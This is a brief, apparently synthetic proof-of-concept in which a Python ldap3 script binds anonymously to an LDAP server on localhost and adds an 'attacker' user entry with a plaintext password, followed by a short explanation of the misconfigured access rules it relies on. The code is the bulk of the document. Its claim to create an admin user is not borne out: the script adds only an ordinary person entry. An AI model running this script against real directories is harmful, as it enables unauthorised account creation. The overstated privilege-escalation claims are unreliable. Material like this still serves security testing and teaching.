
Python proof-of-concept for LDAP anonymous bind privilege escalation, simulating insecure ACLs to create admin users via unauthenticated LDAP binds.
# ldap_anon_sim.py - LDAP server allowing anonymous bind with write access
from ldap3 import Server, Connection, ALL
# Simulated: real server would be misconfigured
server = Server('ldap://localhost:389', get_info=ALL)
conn = Connection(server, authentication='ANONYMOUS')
conn.bind()
# If anonymous has write permission to userPassword, can add self as admin
conn.add('uid=attacker,ou=people,dc=example,dc=com', ['inetOrgPerson'], {'uid': 'attacker', 'userPassword': 'password'})
print("User created anonymously!")
An LDAP directory is misconfigured to allow anonymous binds and also grants write access to sensitive attributes (like userPassword). An attacker can bind anonymously and create a new admin user, escalating privileges.
Run the simulation (requires an actual LDAP server for real test, but we show concept):
python ldap_anon_sim.py
The script attempts to add a user anonymously.